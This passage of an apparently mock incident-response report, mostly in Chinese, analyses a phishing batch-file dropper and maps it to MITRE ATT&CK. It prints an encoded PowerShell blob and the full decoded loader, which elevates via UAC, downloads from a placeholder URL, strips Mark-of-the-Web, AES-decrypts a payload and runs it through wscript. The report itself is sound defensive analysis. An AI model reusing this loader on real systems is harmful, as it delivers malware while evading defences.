HUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABiAGkAbgBQAGEAdABoABXSDCAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwANAAoAIAAgACAAIAANAAoAIAAgACAAIAAjACAAUgBFAE0ATwBWAEUAIABNAEEAUgBLAC0ATwBGAC0AVABIAEUALQBXAEUAQgAgAEYAUgBPAE0AIABEAE8AVwBOAEwATwBBAEQARQBEACAARgBJAEwARQANAAoAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiACQAYgBpAG4AUABhAHQAaAA6AFoAbwBuAGUALgBJAGQAZQBuAHQAaQBmAGkAZQByACIAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAANAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABiAGkAbgBQAGEAdABoACkAKQAgAHsAIABlAHgAaQB0ACAAfQANAAoAIAAgACAAIAAkAGYAaQBsAGUAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAQgB5AHQAZQBzACgAJABiAGkAbgBQAGEAdABoACkADQAKACAAIAAgACAAaQBmACAAKAAkAGYAaQBsAGUAQgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADQAOAApACAAewAgAGUAeABpAHQAIDFAB9AA0ACgAgACAAIAAgAA0ACgAgACAAIAAgACQAcwBhAGwAdAAgAD0AIAAkAGYAaQBsAGUAQgB5AHQAZQBzAFsAMAAuAC4AMQA1AF0ADQAKERACAAIAAgACAAJABpAHYAIAA9ACAAJABmAGkAbABlAEIAeQB0AGUAcwBbADEANgAuAASDFC4AMwAxAF0ADQAKACAAIAAgACAAJABjAGkAcABoAGUAcgB0AGUAeAB0ACAAPQAgACQAZgBpAGwAZQBCAHkAdABlAHMAWwAzADIAGSDgAuACgAJABmAGkAbABlAEIAeQB0AGUAcwAuAEwAZQBuAGcAdABoAC0AMQApAF0ADQAKACAAIAAgACAADQAKACAAIAAgACAAJABwAGIAawBkAGYAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFIAZgBjADIAOAA5ADgARABlAHIAaQB2AGUAQgB5AHQAZQBzACgAJABwAGEAcwBzACwAIAAkAHMAYQBsAHQALAAgADEAMAAwADAAMAAwACkADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAkAHAAYgBrAGQAZgAyAC4ARwBlAHQAQgB5AHQAZQBzACgAMwAyACkADQAKACAAIAAgACAADQAKACAAIAAgACAAJABhAGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkADQAKACAAIAAgACAAJABhAGUAcwAuAE0AbwBkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQwBpAHAAaABlAHIATQBvAGQAZQBdADoAOgBDAEIAQwANAAoAIAAgACAAIAAkAGEAZQBzAC4AUABhAGQAZABpAG4AZwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3AA0ACgAgACAAIAAgACQAYQBlAHMALgBLAGUAeQAgAD0AIAAkAGsAZQB5AA0ACgAgACAAIAAgACQAYQBlAHMALgBJAFYAIAA9ACAAJABpAHYADQAKACAAIAAgACAADQAKACAAIAAgACAAJABkAGUAYwByAHkAcAB0AG8AcgAgAD0AIAAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAA0ACgAgACAAIAAgACQAZABlAGMAcgB5AHAAdABlAGQAQgB5AHQAZQBzACAAPQAgACQAZABlAGMAcgB5AHAAdABvAHIALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAGkAcABoAGUAcgB0AGUAeAB0ACwAIAAwACwAIAAkAGMAaQBwAGgAZQByAHQAZQB4AHQALgBMAGUAbgBnAHQAaAApAA0ACgAgACERRRREW43LKJ65HSDFABKAFMAIABGAEkATABFACAAQgBFAEYATwBSAEUAIABFAFgARQBDAFUAVABJAE8ATgANAAoAIAAgACAAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiACQAagBzAFAAYQB0AGgAOgBaAG8AbgBlAC4ASQBkAGUAbgB0AGkAZgBpAGUAcgAiACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUADQAKACAAIAAgACAADQAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAagBzAFAAYQB0AGgAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgB3AHMAYwByAGkAcAB0AC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC8ALwBFADoAagBzAGMAcgBpAHAAdAAiACwAIAAiAGAAIgAkAGoAcwBQAGEAdABoAGAAIgAiACAALQBXAGEAaQB0AA0ACgAgACAAIAAgAH0ADQAKAH0AIABjAGEAdABjAGgAIAB7AA0ACgB9ACAAZgBpAG4AYQBsAGwAeQAgAHsADQAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAdABlAG0AcABEAGkAcgApACAAewANAAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAdABlAG0AcABEAGkAcgAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBvAHIAYwBlAA0ACgAgACAAIAAgAH0ADQAKAH0A
exit
```
根据我的经验,恶意软件通常不包含解释其操作内容的注释。幸运的是,这有助于快速了解该恶意软件的意图。
第一块代码尝试列出计算机的网络连接。这自然需要提权。它会丢弃任何输出(因为这里无关紧要),但该尝试是失败还是成功对下一行代码很重要。
"if %errorlevel% neq 0" 检查上一个命令是否失败。如果没有失败,%errorlevel% 仍然等于 0,脚本将继续执行下一个代码块。如果 %errorlevel% 不等于 0 ("neq 0"),则会启动以下操作:
powershell -Command "Start-Process '%~f0' -Verb RunAs"
exit /b
这会启动 powershell,并使用 -Verb RunAs(启动 UAC 提示,尝试以管理员身份运行此 batch 文件)启动 %~f0(引用当前运行的 batch 文件的完整路径)的进程。然后它会退出这个没有特权的 batch 文件,并继续执行提权后的会话(因为此会话将通过 %errorlevel% 检查并继续向下处理下一个代码块)。
下一行代码:powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -EncodedCommand 做了几件事:
- 'powershell' 初始化 powershell 执行
- '-ExecutionPolicy Bypass' 临时忽略设定的执行策略,并允许此命令绕过这些规则
- '-NoProfile' 忽略任何可能阻碍执行的预加载配置文件设置
- '-WindowsStyle Hidden' 隐藏执行窗口
- '-EncodedCommand' 运行后面的 Base64 编码命令
最后,通过一个简单的命令,我能够解码该字符串,并使用以下的 powershell 命令揭示 batch 文件的核心内容:
```
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("encoded-string-here"))
```
#### 解码后分析:
解码后的字符串如下所示(当然,已移除任何恶意内容)。我在每个相关的代码块上方添加了注释来解释其概念和原因,由 "####" 指示。
```
#### 第一行抑制任何非终止性错误,允许代码继续执行。接下来的两行识别
the malicious URL of where to get the next malware package from, along with identifying a passphrase to later calculate an
encryption key with.
$ErrorActionPreference = "SilentlyContinue"
$url = "https://example.website.exmp/dir1/malware.bin"
$pass = "passphrase"
#### 第一行和第二行使用 GetRandomFileName() 在 AppData\Local\Temp 目录中创建一个目录,
administrator user that initiated this command (credentials entered into the UAC prompt). The next lines create a data.bin and
run.js file within this directory and assign them to variables $binPath and $jsPath.
$tempDir = Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName())
New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
$binPath = Join-Path $tempDir "data.bin"
$jsPath = Join-Path $tempDir "run.js"
#### 向 $url 中定义的 url 发起 web 请求以下载恶意软件包,并将其写入 data.bin 文件
defined by $binPath in the temp directory.
try {
Invoke-WebRequest -Uri $url -OutFile $binPath -UseBasicParsing
#### Removes the Mark of the Web (Zone.Identifier) from the downloaded file ($binPath) and silently continues if it does
not exist. The Mark of the Web is an identifier in Windows to mark files that have been delivered via the internet zone. The
point here is to remove this identifier so the system does not interfere with execution since it originates from the web.
Remove-Item -Path "$binPath:Zone.Identifier" -Force -ErrorAction SilentlyContinue
#### Confirms the $binPath exists, then confirms that the file contains at least 48 bytes (used later for encryption). If
either of these are not true, the script exits. It also writes all of the Bytes in the downloaded file to an array.
if (-not (Test-Path $binPath)) { exit }
$fileBytes = [System.IO.File]::ReadAllBytes($binPath)
if ($fileBytes.Length -lt 48) { exit }
#### Sets the first 16 bytes (0-15) to be the salt, the second 16 bytes (16-31) to be used as the IV (initialization vector),
and defines anything after that as the ciphertext.
$salt = $fileBytes[0..15]
$iv = $fileBytes[16..31]
$ciphertext = $fileBytes[32..($fileBytes.Length-1)]
#### Uses PBKDF2 (Password-Based Key Derivation Function 2) to produce a new cryptographic key using the above defined
passphrase, the defined salt bytes, and 100000 iterations (improving complexity). It then uses this to create a 32-byte key,
defined as $key, standard for AES-256.
$pbkdf2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($pass, $salt, 100000)
$key = $pbkdf2.GetBytes(32)
#### 创建一个 AES 对象,并定义 CBC mode,这意味着每个块的配置依赖于前一个块。它
defines the padding mode as PKCS#7, which appends data to the end of each block to fill any incomplete blocks as needed. Finally,
it defines the key and IV for $aes as the values defined above in $key and $iv.
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.Key = $key
$aes.IV = $iv
#### 为该算法创建一个 decryptor,并将其设置为 $decryptor。然后使用该 decryptor 解密定义的 ciphertext
above, and write them to the path defined in $jsPath.
$decryptor = $aes.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length)
[System.IO.File]::WriteAllBytes($jsPath, $decryptedBytes)
#### 从 $jsPath 文件中移除 Mark of the Web,如果该文件不存在则继续执行。
Remove-Item -Path "$jsPath:Zone.Identifier" -Force -ErrorAction SilentlyContinue
#### 启动一个 wscript.exe 实例(用于执行脚本的 Windows 工具,例如 .js 脚本),运行 jscript 引擎
(//E:jscript), and runs the run.js script located in the $jsPath with the information delivered and decrypted from data.bin in the
$binPath. The catch {} line will ignore any failures if they occur. With the finally line, it will remove the created temp directory
alongside anything within it, regardless of if the try block failed or not.
if (Test-Path $jsPath) {
Start-Process "wscript.exe" -ArgumentList "//E:jscript", "`"$jsPath`"" -Wait
}
} catch {
} finally {
if (Test-Path $tempDir) {
Remove-Item -Path $tempDir -Recurse -Force
}
}
```
### 恶意软件最终分析:
此恶意软件混合使用了特权升级、防御规避(MOTW 移除、加密、清理、混淆(尽管此处的混淆相当薄弱))以及代码执行技术,以投递 payload,并通过注册表更改和 C2 控制感染机器,从而建立持久化。由于混淆不佳,它非常易于阅读,使得快速分析和补救变得更加容易。进行此分析可以深入了解攻击者的 TTP,我们可以利用它来创建 STAR 规则以阻断该恶意软件的未来实例(有关由此产生的检测规则,请参见上文第 3.3.7 节)。
## 5. MITRE ATT&CK 映射
| 战术 | 技术ID | 技术名称 | 证据 |
|---|---|---|---|
| 初始访问 | T1566.002 | Phishing: Spearphishing Link | 原始邮件及点击事件 |
| 执行 | T1204.002 | User Execution: Malicious File | .bat 执行的 S1 事件 |
| 执行 | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | 原始进程树中的 cmd.exe 进程 |
| 执行 | T1059.001 | Command and SCripting Interpreter: PowerShell | 原始进程树中的 powershell.exe 进程,由原始 .bat 文件调用 |
| 执行 | T1059.007 | Command and Scripting Interpreter: JavaScript | .bat 文件通过 wrscript.exe //E:jscript 运行 run.js |
| 特权升级 | T1078.002 | Valid Accounts: Domain Accounts | 提示时输入的管理员凭据 |
| 特权升级 | T1548.005 | Abuse Elevation Control Mechanism | 使用 UAC 提示进行提权,并以管理员权限生成恶意进程 |
| 防御规避 | T1027.010 | Obfuscated Files or Information: Command Obfuscation | .bat 文件中编码的 Powershell 脚本 |
| 防御规避 | T1140 | Deobfuscate/Decode Files or Information | 从 data.bin 到 run.js 的 AES-256/PBKDF2 解密过程 |
| 防御规避 | T1553.005 | Subvert Trust Controls: Mark-of-the-Web Bypass | 在原始 .bat 文件的 powershell 脚本中移除 MOTW Zone.Identifier |
| 持久化 | T1547.001 | Registry Run Keys | run.js 调整注册表项,以在启动时建立隐藏的 C2 连接 ScreenConnect 进程 |
| 命令与控制 | T1219.002 | Remote Access Tools: Remote Desktop Software | 使用合法的远程访问软件 ScreenConnect,建立与目标的持久 C2 连接 |
## 6. 结论
总之,我能够利用现有资源来检测、遏制、响应此攻击并从中恢复。进一步的分析使我能够更好地准备防御措施,以检测并对此攻击的自动化响应。尽管这份报告缺少标准事件报告中通常会包含的关键部分,但我希望这份模拟报告能够让人了解我的思考过程、技能组合以及防御操作的方法。感谢您的时间!标签:AI合规, DAST, 安全运营, 库, 应急响应, 恶意软件分析, 扫描框架, 搜索语句(dork), 钓鱼攻击分析